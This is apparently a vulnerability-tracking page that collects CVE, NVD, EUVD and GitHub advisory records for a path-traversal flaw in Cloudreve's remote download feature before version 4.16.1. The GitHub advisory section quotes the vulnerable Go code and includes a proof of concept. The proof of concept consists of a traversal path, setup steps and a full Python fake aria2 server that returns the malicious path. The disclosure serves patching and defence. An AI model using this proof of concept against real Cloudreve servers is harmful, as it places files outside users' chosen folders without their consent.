Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 08:00 UTC Customize Public modeDiscuss ChangeIntel on Discord

Cloudreve before 4.16.1 Path Traversal via Remote Download

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-101051

Published

Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.

Source published
27 Sep 2026 17:02:37 UTC
Source modified
28 Sep 2026 14:06:18 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 3.1 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

euvd · EUVD-2026-87980

Published

Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 27, 2026, 5:02:37 PM

dateUpdated: Sep 28, 2026, 2:06:18 PM

Source published
Sep 27, 2026, 5:02:37 PM (timezone not stated)
Source modified
Sep 28, 2026, 2:06:18 PM (timezone not stated)
Observed here
11 Nov 2026 05:27:55 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-101051

Published

Cloudreve before 4.16.1 fails to properly sanitize file paths returned by remote downloaders, allowing authenticated users to create files outside the selected destination directory. Attackers can exploit path traversal sequences in downloader metadata to write files to unexpected locations within accessible namespaces.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-22

Original publisher date fields

published: 2026-09-27T18:16:31.510

lastModified: 2026-09-28T15:17:12.100

Source published
27 Sep 2026 18:16:31 UTC
Source modified
28 Sep 2026 15:17:12 UTC
Observed here
25 Oct 2026 04:17:26 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 2.3 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 3.1 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

osv · GHSA-w8j7-39hp-8x59

Published

### Summary Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory. ### Details In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name. ```go // pkg/filemanager/workflows/remote_download.go:436-438 sanitizedName := sanitizeFileName(file.Name) dst := dstUri.JoinRaw(sanitizedName) src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name)) ``` The same issue also exists when constructing slave upload payloads. ```go // pkg/filemanager/workflows/remote_download.go:323-327 dst := dstUri.JoinRaw(sanitizeFileName(f.Name)) src := path.Join(m.state.Status.SavePath, f.Name) payload.Files = append(payload.Files, SlaveUploadEntity{ Src: src, Uri: dst, ``` The sanitizer does not remove `/`, `.`, or `..` path segments. ```go // pkg/filemanager/workflows/remote_download.go:648-650 func sanitizeFileName(name string) string { r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_") return r.Replace(name) } ``` `JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path. ```go // pkg/filemanager/fs/uri.go:173-175 func (u *URI) JoinRaw(elem string) *URI { return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...) } ``` For aria2, Cloudreve derives `downloader.TaskFile.Name` from the path returned by `aria2.tellStatus().files[].path`. ```go // pkg/downloader/aria2/aria2.go:148-159 relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath) if len(relPath) > 0 { relPath = relPath[1:] } return downloader.TaskFile{ Index: index, Name: relPath, ``` Therefore, if the selected destination is: `cloudreve://my/victim/safe`, the downloader reports `../../escaped.txt`, the final upload destination becomes `cloudreve://my/escaped.txt` The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks. ### PoC The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL. Setup: ```text Cloudreve official Docker image PostgreSQL Redis Fake aria2 JSON-RPC service ``` Configure the master node in the Cloudreve admin UI: ```text Remote download capability: enabled Downloader provider: aria2 aria2 RPC server: http://fake-aria2:6800/jsonrpc aria2 token: empty ``` Create this folder structure in the file manager: ```text My files / victim / safe / ``` Create a remote download task using any URL in the `victim/safe` directory, for example: ```text http://attacker.invalid/file ``` The fake aria2 service returns: ```text files[0].path = <saveDir>/../../escaped.txt ``` Expected result after the remote download task completes: ```text cloudreve://my/escaped.txt exists ``` This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory. ### Impact If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task. This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder. ### Appendix: fake_aria2.py ```python import json import os from http.server import BaseHTTPRequestHandler, HTTPServer GID = "0123456789abcdef" CONTENT = b"created outside the selected Cloudreve destination\n" save_dir = "/cloudreve/data/temp/aria2/poc-final" def write_source_file(): source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt")) os.makedirs(os.path.dirname(source), exist_ok=True) with open(source, "wb") as f: f.write(CONTENT) print(f"fake aria2 source file: {source}", flush=True) def response(rpc_id, result): return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode() class Handler(BaseHTTPRequestHandler): def do_POST(self): global save_dir raw = self.rfile.read(int(self.headers.get("Content-Length", "0"))) req = json.loads(raw or b"{}") method = req.get("method") rpc_id = req.get("id") if method == "aria2.addUri": for item in req.get("params", []): if isinstance(item, dict) and item.get("dir"): save_dir = item["dir"] break write_source_file() result = GID elif method == "aria2.tellStatus": result = { "gid": GID, "status": "complete", "totalLength": str(len(CONTENT)), "completedLength": str(len(CONTENT)), "uploadLength": "0", "downloadSpeed": "0", "uploadSpeed": "0", "infoHash": "", "numPieces": "1", "dir": save_dir, "files": [ { "index": "1", "path": f"{save_dir}/../../escaped.txt", "length": str(len(CONTENT)), "completedLength": str(len(CONTENT)), "selected": "true", "uris": [], } ], "bittorrent": {"mode": "single", "info": {"name": "poc-final"}}, } elif method == "aria2.getVersion": result = {"version": "fake-poc-final", "enabledFeatures": []} else: result = "OK" body = response(rpc_id, result) self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, fmt, *args): return if __name__ == "__main__": print("fake aria2 JSON-RPC listening on :6800", flush=True) HTTPServer(("0.0.0.0", 6800), Handler).serve_forever() ```

Source published
24 Aug 2026 22:03:33 UTC
Source modified
28 Sep 2026 03:55:54 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Publisher rating · MODERATE

osv · GO-2026-6289

Published

Cloudreve's remote download file paths can escape the selected destination directory in github.com/cloudreve/Cloudreve

Source published
25 Aug 2026 19:43:10 UTC
Source modified
28 Sep 2026 03:55:54 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 08:00 UTC · 274 of 275 readable · 272 fully read · documentation 469/469 current